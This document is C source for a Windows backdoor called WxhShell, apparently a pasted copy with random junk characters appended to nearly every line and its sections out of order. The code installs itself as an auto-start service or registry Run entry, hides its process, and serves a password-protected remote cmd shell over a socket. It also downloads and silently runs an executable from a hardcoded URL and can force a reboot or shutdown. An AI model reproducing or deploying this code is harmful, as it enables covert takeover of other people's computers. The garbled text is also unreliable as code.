    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2F{hg%  
    else { gV;H6"  
    closesocket(wsh);  uF|3/x=  
    ExitThread(0); >SF Uy\3  
    } =ac_,]z  
    break; tC?=E#3 V  
    } n: ui  
  // 获取shell N?Q+ >  
  case 's': { yF}OfK?0f  
    CmdShell(wsh); ))kF<A_MK  
    closesocket(wsh); z G }?  
    ExitThread(0); f"G-  
    break; z;f2*F  
  } 8`>h}Q$  
  // 退出 5zJj]A  
  case 'x': { ^FmU_Q0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >eQr<-8  
    CloseIt(wsh); 7"F*u :  
    break; #AkV/1Y  
    } h0--B]f@  
  // 离开 @}p2aV59  
  case 'q': { $4kH3+WJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8I20*#  
    closesocket(wsh); GG064zPq7  
    WSACleanup(); wcSyw2D  
    exit(1); Bs+(L [Z  
    break; h` U?1xS  
        } - O98pi  
  } >2$5eI  
  } C (n+SY^  
J?@DGp+t  
  // 提示信息 GcIDG`RX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $EZN1\  
} 6oaazB^L  
  } h!~3Dw>,N  
d<!3`qe  
  return; 3`d}~v{  
} ?_x q-  
s^0/"j|7  
// shell模块句柄 qf@q]wtar  
int CmdShell(SOCKET sock) 8KB>6[H!wE  
{ sQ6 }\  
STARTUPINFO si; 4(e59ZgY  
ZeroMemory(&si,sizeof(si)); ;__9TN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~vmd XR`'T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Dzuii?1  
PROCESS_INFORMATION ProcessInfo; !-2R;yo12  
char cmdline[]="cmd"; 0N[&3Ee8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d2oh/j6`TA  
  return 0; WARb"8Kg  
} }I|u'#n_  
3 &u_A?;  
// 自身启动模式 _{t9 x\=  
int StartFromService(void) ]-oJ[5cQ0v  
{ E J$36  
typedef struct {,*"3O:\:  
{ XBd>tdEP  
  DWORD ExitStatus; [b%:.bjY  
  DWORD PebBaseAddress; B\J^=W+`  
  DWORD AffinityMask; V@>r*7\F  
  DWORD BasePriority; GRb*EeT  
  ULONG UniqueProcessId; T2}FYVj?!g  
  ULONG InheritedFromUniqueProcessId; S6}@I ,Q  
}   PROCESS_BASIC_INFORMATION; u p.Q>28r  
l Z#o+d2Y  
PROCNTQSIP NtQueryInformationProcess; lzw3=H  
,NnhHb2\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sK{l 9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +iRq8aS_  
.Ha'p.  
  HANDLE             hProcess; JdIlWJY  
  PROCESS_BASIC_INFORMATION pbi; CTWn2tpW  
t+5E#!y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mj|)nOd  
  if(NULL == hInst ) return 0; &_JD)mM5  
CkJCi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7.DtdyM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VrZ>bma;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NCxqh<  
RoCfJ65  
  if (!NtQueryInformationProcess) return 0; 0|R# Tb;Y  
;a-$D]Db  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +/#Ei'do  
  if(!hProcess) return 0; KIR'$ 6pn~  
M?=;JJ:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; da1]mb=4 5  
GN KF&M  
  CloseHandle(hProcess); uB!kM  
2H.654  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /C/id)h>  
if(hProcess==NULL) return 0; jiF?fX@  
U4 13?Pe  
HMODULE hMod; 'J,T{s1J  
char procName[255]; J_>w3uY  
unsigned long cbNeeded; >^Se'SE]  
Hm+ODv9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D")_;NLE1  
Lh.`C7]  
  CloseHandle(hProcess); hp{OL<2M  
^Rx9w!pAN  
if(strstr(procName,"services")) return 1; // 以服务启动 Vi4~`;|&b+  
SP|<Tny  
  return 0; // 注册表启动 hFiIW77 s2  
} piU /&  
G_>#Js  
// 主模块 _+ .\@{c  
int StartWxhshell(LPSTR lpCmdLine) o)OUWGjb/K  
{ qlA7tU2p&  
  SOCKET wsl; w8g,a]p  
BOOL val=TRUE; ^F:k3,_[  
  int port=0; @ym/27cRE  
  struct sockaddr_in door; ^z,_+},a3T  
iCHt1VV]  
  if(wscfg.ws_autoins) Install(); 8k(P,o  
upeU52@\  
port=atoi(lpCmdLine); C7H/N<VAq  
:ss,Hl  
if(port<=0) port=wscfg.ws_port; XUuu-wm:}  
97K[(KE  
  WSADATA data; K |DWu8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 88c<:fK  
C&++VRnm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~rjTF!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5OoN!TEM  
  door.sin_family = AF_INET; }du XC[6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >DPB!XA3  
  door.sin_port = htons(port); OgF+O S  
w '3#&k+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gKOOHUCb  
closesocket(wsl); ,;M4jc {  
return 1; !"+'A)Nve  
} ~EK'&Y"1  
O5H9Y}i]  
  if(listen(wsl,2) == INVALID_SOCKET) { hDV20&hq  
closesocket(wsl); :>itXD!  
return 1; 3s"0SLS4  
} PvGDTYcKp  
  Wxhshell(wsl); Jvun?J m  
  WSACleanup(); tDr#H!2 3  
Fu^ ^i&  
return 0; t%530EB3  
)P7)0c  
} _0 gKK2  
_gD pKEaY  
// 以NT服务方式启动 mrV!teP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N?X^O#[  
{ "bDs2E+W  
DWORD   status = 0; d&#~ h:~  
  DWORD   specificError = 0xfffffff; >a3p >2  
jYiv'6z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >J u]2++lx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :_Eqf8T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jk0r&t7  
  serviceStatus.dwWin32ExitCode     = 0; .rPn5D Y  
  serviceStatus.dwServiceSpecificExitCode = 0; wO2_DyMm@  
  serviceStatus.dwCheckPoint       = 0; nYbhy} y  
  serviceStatus.dwWaitHint       = 0; aTf`BG{kw  
"TH6o: x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bo5ZZY  
  if (hServiceStatusHandle==0) return; 8( b tZt  
! ZU2{  
status = GetLastError(); c$wsH25KH8  
  if (status!=NO_ERROR)  r[?1  
{ h[Gg}N!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \P1=5rP  
    serviceStatus.dwCheckPoint       = 0; WoxwEi1~0  
    serviceStatus.dwWaitHint       = 0; 0j C3fT!n  
    serviceStatus.dwWin32ExitCode     = status; M`6y@<  
    serviceStatus.dwServiceSpecificExitCode = specificError; #M A4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #[#KL/i)$  
    return; m~uOXb  
  } y*MF&mQ[  
f@co<iA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %p X6QRt?  
  serviceStatus.dwCheckPoint       = 0; f-n z{U  
  serviceStatus.dwWaitHint       = 0; Y'e eA 2O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \p%3vRwS%p  
} sZ?mP;Q  
0|; .6\  
// 处理NT服务事件,比如:启动、停止 K!,<7[MBg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HK+/:'P u  
{ jSc#+_y  
switch(fdwControl) (@WA1oNG  
{ NAPX_B,6  
case SERVICE_CONTROL_STOP: :6q]F<oK  
  serviceStatus.dwWin32ExitCode = 0; .UoOO'1K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZIdA\_c  
  serviceStatus.dwCheckPoint   = 0; -[L!3jU  
  serviceStatus.dwWaitHint     = 0; ;l$ \6T  
  { ITy/eZ"&:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BPr ^D0P  
  } xJ2*LM-  
  return; "`[!Lz  
case SERVICE_CONTROL_PAUSE: tTU=+*Io  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P9T5L<5  
  break; .Yw'oYnS  
case SERVICE_CONTROL_CONTINUE: F]O$(7*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Su 5>$  
  break; Pl-5ncb\  
case SERVICE_CONTROL_INTERROGATE: ?uMQP NYs  
  break; {D g_?._d  
}; HHjt/gc}`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lr`1TH,  
} DQwGUF'(  
y$<Vha  
// 标准应用程序主函数 ttXjn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /.M+fr S  
{ <W]g2>9o9  
]; %0qb  
// 获取操作系统版本 KsrjdJx, '  
OsIsNt=GetOsVer(); ^*~;k|;&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %& _V0R\k  
exdx\@72  
  // 从命令行安装 nADX0KI  
  if(strpbrk(lpCmdLine,"iI")) Install(); !`bio cA  
,7XtH>2s  
  // 下载执行文件 SR*wvQnOx  
if(wscfg.ws_downexe) { H'F6$ypoS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >%E([:$A  
  WinExec(wscfg.ws_filenam,SW_HIDE); m0{!hF[^  
} ) _ I,KEe  
#.[AK_S5&  
if(!OsIsNt) { 8.bKb<y  
// 如果时win9x,隐藏进程并且设置为注册表启动 m?HZ;  
HideProc(); P,=+W(s9}  
StartWxhshell(lpCmdLine); q.2(OP>(  
} kF7V.m/~o  
else bxK(9.  
  if(StartFromService()) E+C5 h ;p&  
  // 以服务方式启动 i@NqC;~;  
  StartServiceCtrlDispatcher(DispatchTable); 4 g. bR  
else 1009ES7*  
  // 普通方式启动  'Pvm8t  
  StartWxhshell(lpCmdLine); L !4t[hhe=  
Q!,<@b)  
return 0; $;G{Pyp  
} /=uMk]h  
r}yG0c,  
%r)avI  
F_uY{bg  
=========================================== 3?E8\^N\n  
lt$zA%`odc  
. |*f!w}5  
7m#[!%D  
7j7e61 Ax  
| nJZie8m  
" ,@z4I0cTi\  
/WPv\L  
#include <stdio.h> ;O  0+,  
#include <string.h> 4lKVY<  
#include <windows.h> Nx#4W1B[`H  
#include <winsock2.h> YC]L)eafo`  
#include <winsvc.h> H;aYiy  
#include <urlmon.h> r3rxC&  
drwgjLC+  
#pragma comment (lib, "Ws2_32.lib") qC!&x,}3  
#pragma comment (lib, "urlmon.lib") x{ }z ;yG  
v6\F Q9|t  
#define MAX_USER   100 // 最大客户端连接数 p1c3Q$>i  
#define BUF_SOCK   200 // sock buffer >MJ?g-  
#define KEY_BUFF   255 // 输入 buffer I|$ RJkD  
}B7K@Wu#  
#define REBOOT     0   // 重启 |_u8mV  
#define SHUTDOWN   1   // 关机 ^7]"kg DA  
fQ>4MKLw=d  
#define DEF_PORT   5000 // 监听端口 ]aCk_*U  
l!E7A Kk8  
#define REG_LEN     16   // 注册表键长度 t0:AScZY   
#define SVC_LEN     80   // NT服务名长度 4;`Bj:.  
^BZkHAp  
// 从dll定义API bU 63X={  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ')S;[=v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R6 XuA(5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =rPrPb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kt>X3m,  
~#\i!I;RY}  
// wxhshell配置信息 6pE :A@  
struct WSCFG { /\mKY%kyh  
  int ws_port;         // 监听端口 zT~B 6  
  char ws_passstr[REG_LEN]; // 口令 (wRBd  
  int ws_autoins;       // 安装标记, 1=yes 0=no =\)IaZ  
  char ws_regname[REG_LEN]; // 注册表键名 /W#O +  
  char ws_svcname[REG_LEN]; // 服务名 3>z[PPw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;evCW$G=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +kdySWF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mxSKG> O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ! 0/z>#b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !~<siy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IGX:H)&*  
,(G%e  
}; f]~c)P Cs  
NkxCs  
// default Wxhshell configuration tNs~M4TVVH  
struct WSCFG wscfg={DEF_PORT,  &K^MN d  
    "xuhuanlingzhe", `P+(&taT  
    1, R4%P:qM  
    "Wxhshell", 9+YD!y  
    "Wxhshell", 5H,G-  
            "WxhShell Service", M ixwK,  
    "Wrsky Windows CmdShell Service", >zY \Llv  
    "Please Input Your Password: ", F)$K  
  1, o?Sla_D   
  "http://www.wrsky.com/wxhshell.exe", 5TBI<K  
  "Wxhshell.exe" WKA'=,`v  
    }; D 7shiv|,  
J3S&3+2G  
// 消息定义模块 Mu_i$j$vvP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T#:F]=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vd#,DU=p!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BX;5wKfA  
char *msg_ws_ext="\n\rExit."; ?3sT" r_d@  
char *msg_ws_end="\n\rQuit."; MWuXI1  
char *msg_ws_boot="\n\rReboot..."; Y ?]G}5  
char *msg_ws_poff="\n\rShutdown..."; F>|9 52  
char *msg_ws_down="\n\rSave to "; "C%!8`K{a*  
D1,O:+[;.  
char *msg_ws_err="\n\rErr!";  Kn+=lCk  
char *msg_ws_ok="\n\rOK!"; b`cYpcs  
|pZo2F!.  
char ExeFile[MAX_PATH]; Mj0Cat=  
int nUser = 0; p}]q d4j  
HANDLE handles[MAX_USER]; >',y  
int OsIsNt; ;kaHN;4?  
}wt%1v-10U  
SERVICE_STATUS       serviceStatus; aj|5 #  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o}8{Bh^  
t\j!K2  
// 函数声明 o 6j"OZcv  
int Install(void); ioIv=qGdiP  
int Uninstall(void); G2mNm'0  
int DownloadFile(char *sURL, SOCKET wsh); F N"rZWM  
int Boot(int flag); X<Za9  
void HideProc(void); b5ie <s  
int GetOsVer(void); UPCQs",  
int Wxhshell(SOCKET wsl); coQ[@vu  
void TalkWithClient(void *cs); [ET6(_=b  
int CmdShell(SOCKET sock); DM7}&~  
int StartFromService(void); 1JTbCS  
int StartWxhshell(LPSTR lpCmdLine); 9+CFRYC  
s*,cF6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sz09+4h#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bLG]Wa  
Wb=Jj 9;  
// 数据结构和表定义 z<C[nR$N  
SERVICE_TABLE_ENTRY DispatchTable[] = ]H2R  
{ OKY+M^PP  
{wscfg.ws_svcname, NTServiceMain}, 5S/>l_od$2  
{NULL, NULL} f==*"?6\  
}; R$b,h  
fDuwgY0  
// 自我安装 *Jnh";~b  
int Install(void) |paP<$  
{ `\FI7s3b  
  char svExeFile[MAX_PATH]; .A<sr  
  HKEY key; +802`eax  
  strcpy(svExeFile,ExeFile); iV)ac\  
UC9{m252  
// 如果是win9x系统,修改注册表设为自启动 jW5iqU"{*  
if(!OsIsNt) { `!c,y~r[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SfI*bJo>V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9G:TW|)L[Q  
  RegCloseKey(key); *m_93J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dXP6"V@iI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9={N4}<  
  RegCloseKey(key); >iy^$bqF  
  return 0; >a]t<  
    } ' Js?N  
  } eOrYa3hQ  
} QP\yaPE  
else { J~J@ ]5/  
N_vXYaY  
// 如果是NT以上系统,安装为系统服务 ;/Q6 i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \RE c8nsLy  
if (schSCManager!=0) d7~j^v)=^  
{ 9y+[o  
  SC_HANDLE schService = CreateService NiTJ}1 l  
  ( )1_(>|@oi  
  schSCManager, :GL7J6  
  wscfg.ws_svcname, )Xno|$b5Eo  
  wscfg.ws_svcdisp, '0Zm#g  
  SERVICE_ALL_ACCESS, XV2=8#R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jfSg){  
  SERVICE_AUTO_START, 4;\Y?M}g?  
  SERVICE_ERROR_NORMAL, b[g.}'^yht  
  svExeFile, {,f[r*{Y  
  NULL, P3$,ca'  
  NULL, G ]lvHD  
  NULL, : ej_D}  
  NULL, AP@<r  
  NULL 3i(Jon/p  
  ); A70(W{6a9@  
  if (schService!=0) _<u;4RO(s  
  { >-<F)  
  CloseServiceHandle(schService); Yq0# #__  
  CloseServiceHandle(schSCManager); X8b#[40:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {bTeAfbf]  
  strcat(svExeFile,wscfg.ws_svcname); n#>5?W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `cO|RhD @  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); no3Z\@%  
  RegCloseKey(key); *:#Z+7x ]  
  return 0; Qu}N:P9l?X  
    } %]GV+!3S  
  } )OUU]MUH  
  CloseServiceHandle(schSCManager); Y`]rj-8f0B  
} c(:Oyba  
} b]K>vhQV  
WY.5K =}  
return 1; #7C6yXb%  
} V2QW\2@$  
JX&~y.F  
// 自我卸载 ;Xh5oB\)W  
int Uninstall(void) [0(mFMC`  
{ "3ug}k  
  HKEY key; =AzOnXW:S  
j]4,6` b\  
if(!OsIsNt) { ;*`_#Rn#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -R74/GBg  
  RegDeleteValue(key,wscfg.ws_regname); &NP6%}bR`  
  RegCloseKey(key); ~*kK4]lP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t[q3 {-  
  RegDeleteValue(key,wscfg.ws_regname); h&$Py  
  RegCloseKey(key); I9,8HtnA  
  return 0; HqRCjD  
  } IdmD.k0pJ  
} }+JLn%H)  
} /1N)d?Pcl  
else { Xr2 Wa  
}JGq1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Y 2G  
if (schSCManager!=0) rT<1S?jR  
{ `r9^:TMN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CwB] )QV?  
  if (schService!=0) 43F^J%G  
  { EGEMZCdk2  
  if(DeleteService(schService)!=0) { `=v@i9cTZ  
  CloseServiceHandle(schService); DZ%8 |PmB  
  CloseServiceHandle(schSCManager); 5IO3 %p?  
  return 0; mVHFT~x7}  
  } }Oh5Nm)  
  CloseServiceHandle(schService); K_FBy  
  } a^x  0 l  
  CloseServiceHandle(schSCManager); ja:\W\xhJ  
} ME,duY/>Q  
} 8ur_/h7  
uAQg"j  
return 1; 3m~U(yho  
} (Y>U6  
) _ #T c  
// 从指定url下载文件 |/t K-c6J  
int DownloadFile(char *sURL, SOCKET wsh) "|\94  
{ | 4%v"U  
  HRESULT hr; >LCjtm\  
char seps[]= "/"; LsnXS9_  
char *token; >7W"giWP  
char *file; 2t.fD@  
char myURL[MAX_PATH]; !Am =v=>  
char myFILE[MAX_PATH]; nT)~w s  
BHIM'24bp  
strcpy(myURL,sURL); 8@Q"YA 3d+  
  token=strtok(myURL,seps); 7V |"~%  
  while(token!=NULL) o` 2 5  
  { r"6lLc  
    file=token; (s.o  
  token=strtok(NULL,seps); ?9CIWpGjU  
  } Mc.^s  
[!5l0{0  
GetCurrentDirectory(MAX_PATH,myFILE); 3k`NNA  
strcat(myFILE, "\\"); Us*Vn  
strcat(myFILE, file); DU(X,hDBF  
  send(wsh,myFILE,strlen(myFILE),0); MR[N6E6Mg  
send(wsh,"...",3,0); 3!1&DII4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x vHOY:  
  if(hr==S_OK) "_ Zh5 g  
return 0; mJ/^BT]  
else QK,=5~IJ  
return 1; "hz>{oe  
i^~sn `o  
} v)TUg0U=,  
 $.=5e3  
// 系统电源模块 &C\=!r0j^  
int Boot(int flag) ;%M2x5  
{ [ +yGDMLs  
  HANDLE hToken; ,CN#co  
  TOKEN_PRIVILEGES tkp; ?#x'_2  
N" 8*FiZ|  
  if(OsIsNt) { Bc5YW-QD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 01'y^`\xQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aS2a_!f  
    tkp.PrivilegeCount = 1; 8U8P g2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JB641nv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L)@`58Eil  
if(flag==REBOOT) { g6HphRJ5s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T,A!5V>cX  
  return 0; 5R& x{jf$  
} & %@/Dwr  
else { RT1{+:l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !>?4[|?n<  
  return 0; JvT %R`i  
} N;e}dwh&  
  } /vMQF+  
  else { jo]m1 2ps  
if(flag==REBOOT) { )j$b9ZBk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p|xs|O6{  
  return 0; wV7@D[8  
} ': 5Trx  
else { xn0s`I[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 't||F1X~J  
  return 0; IY-(- a8  
} X L{{7%j  
} HCI'q\\  
yIn/Y0No  
return 1; 6tDg3`w>  
} 8ct+?-3g  
oSpi{ $x  
// win9x进程隐藏模块 oFX"F0rx  
void HideProc(void) m 4wPuW  
{ Cb4d|yiS8  
@'6S[zU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b\<lNE!L  
  if ( hKernel != NULL ) 3U :YA&K(  
  { cg>!<T*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k8!hvJ)?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UUt~W  
    FreeLibrary(hKernel); ZJiuj!  
  } $`-SVC  
1jR=h7^=  
return; S.zg&   
} z36brv<_'p  
PmuEL@'^ U  
// 获取操作系统版本 N` @W%  
int GetOsVer(void) =*@MQ  
{ 4f_ZY5=  
  OSVERSIONINFO winfo; fU\k?'x_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fzq'S]+  
  GetVersionEx(&winfo); ~N)( ^ 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (MF+/fi  
  return 1; @S/g,;7"  
  else ^K1~eb*K  
  return 0; 3:l:~Vn  
} _stI?fz*4k  
B]+7 JB  
// 客户端句柄模块 s8`}x_k=  
int Wxhshell(SOCKET wsl) lq78gOg{  
{ ]{q- Y<{"  
  SOCKET wsh; Y^*Lh/:h  
  struct sockaddr_in client; A&X  
  DWORD myID; %OezaNOtm  
duZ|mT8Q==  
  while(nUser<MAX_USER) 'qD'PLV  
{ wR 5\^[GN  
  int nSize=sizeof(client); .b!OZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j\i;'t}8g  
  if(wsh==INVALID_SOCKET) return 1; ox i a}  
F``EARG)iu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HM(bR"E  
if(handles[nUser]==0) MbT ONt?~v  
  closesocket(wsh); [="g|/M)  
else ntA[[OIFO  
  nUser++; <=5,(a5g  
  } ;W$w=j: O{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XZUB*P}]D  
.P |+oYT&g  
  return 0; 7$Z)fkx.  
} T2/v}  
46Y7HTwE  
// 关闭 socket 0{U]STj  
void CloseIt(SOCKET wsh) tW Cv]*  
{ JN;TGtB^p  
closesocket(wsh); 2Q`PUXj  
nUser--; y4)ZUv,}  
ExitThread(0); HlOAo:8'  
} /Gh x2B  
l\A}lC0?J  
// 客户端请求句柄 ".*a)  
void TalkWithClient(void *cs) !DY2{Wb  
{  gnKU\>2k  
vJ#rW8y  
  SOCKET wsh=(SOCKET)cs; 5 ~ *'>y  
  char pwd[SVC_LEN]; wHo#%Y,Nmi  
  char cmd[KEY_BUFF]; On2Vf*G@|  
char chr[1]; ~8Dd<4?F]  
int i,j; 5W:Gl?$S}  
sTYuwna~   
  while (nUser < MAX_USER) { U:etcnb4w>  
Kc-A-P &Ry  
if(wscfg.ws_passstr) { o%N0K   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I49=ozPP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n41\y:CAo  
  //ZeroMemory(pwd,KEY_BUFF); ^,ZvKA"}+/  
      i=0; ya*q;D  
  while(i<SVC_LEN) { btB(n<G2#  
.H[Lo>  
  // 设置超时 Ue>A  
  fd_set FdRead; >gS5[`xRE  
  struct timeval TimeOut; VQG  /g\  
  FD_ZERO(&FdRead); q6m87O9  
  FD_SET(wsh,&FdRead); pO7{3%  
  TimeOut.tv_sec=8; 4/mj"PBKL  
  TimeOut.tv_usec=0; vt(}ga  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F_M~!]<na  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xx9~  
=E6i1x%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yo Q?lh  
  pwd=chr[0]; wZ\e3H z  
  if(chr[0]==0xd || chr[0]==0xa) { n_!]B_Vd$  
  pwd=0; }ii]c Y  
  break; [w#x5Xsn  
  } dTU.XgX)1^  
  i++; k{u%p<  
    } ]( U%1  
?[L0LL?ce  
  // 如果是非法用户,关闭 socket Jb)eC?6O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @]VvqCk  
} y!{/'{?P  
#Ko+_Hm?4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ui#1+p3G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5>z:[OdY*  
lG[ )8!:+  
while(1) { sP8-gkkor  
6&xW9' 6b:  
  ZeroMemory(cmd,KEY_BUFF); XM5;AcD  
H?/cG_^y0  
      // 自动支持客户端 telnet标准   7]HIE]#  
  j=0; Q+%m+ /Zq  
  while(j<KEY_BUFF) { o`y*yucHI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TF}4X;3Dsy  
  cmd[j]=chr[0]; \ /X!tlwxh  
  if(chr[0]==0xa || chr[0]==0xd) { WHD/s  
  cmd[j]=0; :xUl+(+  
  break; mGyIr kE  
  } oE|{|27X  
  j++; {dSU \':  
    } 7+Jma!o  
2M( PH]D  
  // 下载文件 <K.C?M(9  
  if(strstr(cmd,"http://")) { ZZ.0'   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); krnk%ug  
  if(DownloadFile(cmd,wsh)) dW=D]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {i7Fu+xZj  
  else nY5n%>8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tU~H@'  
  } cwD*>[j  
  else { p~zTRnm  
a518N*]j  
    switch(cmd[0]) { uL2 {v  
  Vwh&^{Eh  
  // 帮助 (9[C0eS  
  case '?': { G>{:D'#  
